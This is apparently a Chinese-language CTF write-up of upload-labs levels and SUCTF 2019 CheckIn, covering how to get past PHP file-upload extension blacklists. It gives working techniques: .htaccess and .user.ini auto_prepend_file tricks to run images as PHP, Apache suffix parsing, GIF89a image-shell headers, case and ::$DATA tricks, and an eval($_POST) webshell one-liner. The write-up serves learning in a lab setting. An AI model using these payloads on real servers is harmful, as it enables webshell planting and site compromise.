if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
发现是黑名单,所以可以改后缀 .php3 .phtml等
同时代码也把文件名更改了(代码省略了),抓包时会获得新的文件名
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
黑名单过滤:特别地看phpx这样的后缀名,然后是.ini,.htaccess 这两个有没有被遗漏
先上传1张正常的图片,再用.htaccess去覆盖
内容:
<FilesMatch "webshell.PNG">
SetHandler application/x-httpd-php
</FilesMatch>
关于更多.htaccess 参考了这篇有更多尝试
只能用于Apache
另一种方法:因为apache 由右向左解析的特性, 因此可以上传一个它不认识的后缀来绕过黑名单检测,比如 shell.php.aaaaaa ,这样可以绕过黑名单后缀让文件成功上传,又因为apache的特性,可以成功以php来解析
也是黑名单,其它跟4一样
但是这次黑名单少得是
.ini
所以考虑使用 user.ini
SUCTF 2019 CheckIn
在PHP中有个很有趣的东西叫.user.ini,有点类似.htaccess文件,PHP会在每个目录下扫描INI文件,我们可以通过.user.ini文件来实现隐藏后门的效果
在.user.ini中可以识别PHP_INI_PERDIR和PHP_INI_USER模式的INI设置
关于PHP_INI_*一共有四种:
PHP_INI_USER 可在用户脚本以及.user.ini中设定
PHP_INI_PERDIR 可在php.ini,.htaccess或httpd.conf中设定
PHP_INI_SYSTEM 可在php.ini或httpd.conf中设定
PHP_INI_ALL 可在任何地方设定
查阅php.ini配置项手册:
配置项:auto_prepend_file
auto_prepend_file
该配置项会让php文件在执行前先包含一个指定的文件,通过这个配置项,我们就可以来隐藏自己的后门
指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。 使用方法很简单,直接写在.user.ini中:
auto_prepend_file=test.jpg
那么当我们访问此目录下的任何一个文件时,都会去包含test.jpg
参考文章
参考文章2
在upload-labs里面没有其它的过滤了,但是各种赛事题中,必定还有一些过滤,比如SUCTF这题,过滤了 ,增加了图片内容检测(加上文件头绕过),文章末尾会对本文再总结的! 对于pass05:我们可以先上传一个.user.ini进去,用来解析含有php代码的图片(改了后缀这样),即可达到绕过限制的目的。
过程:
(1)上传一张图片
(2)上传 .user.ini 文件。内容为:
auto_prepend_file=2.png(这一句即可) (3)访问:http://IP/upload/2.png/xx.php(目录中存在的 一个php文件)
当然,除了菜刀直接链接以外,还得学一点命令的,有时会出现不行的情况
再回到SUCTF这题= =
1.对于过滤 的绕过
<script language=”php”>xxx</script>
<% xxx %>
<? xxx ?>
<script language="php">eval($_POST['a']);</script>
2.exif_imagetype()函数 表示有文件幻数检测
增加文件头,或者把代码直接贴到正常图片的下面(图片马)
最简单的是 图片头增加GIF89a
对于.user.ini也是一样,要+文件头的!!(毕竟上传的时候都要检测)
总的来说参考文章写得特别好了!
还是黑名单的问题
这一关没有考虑大小写
缺少了: $file_ext = strtolower($file_ext); //转换为小写
首先,比较完整的绕过是这样的:
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
对于pass07-pass09 都有上述代码不完善的地方
7:缺少去空
8:缺少删除末尾的点
9:缺少::$DATA
所以对于文件webshell.php,末尾可以加点东西绕过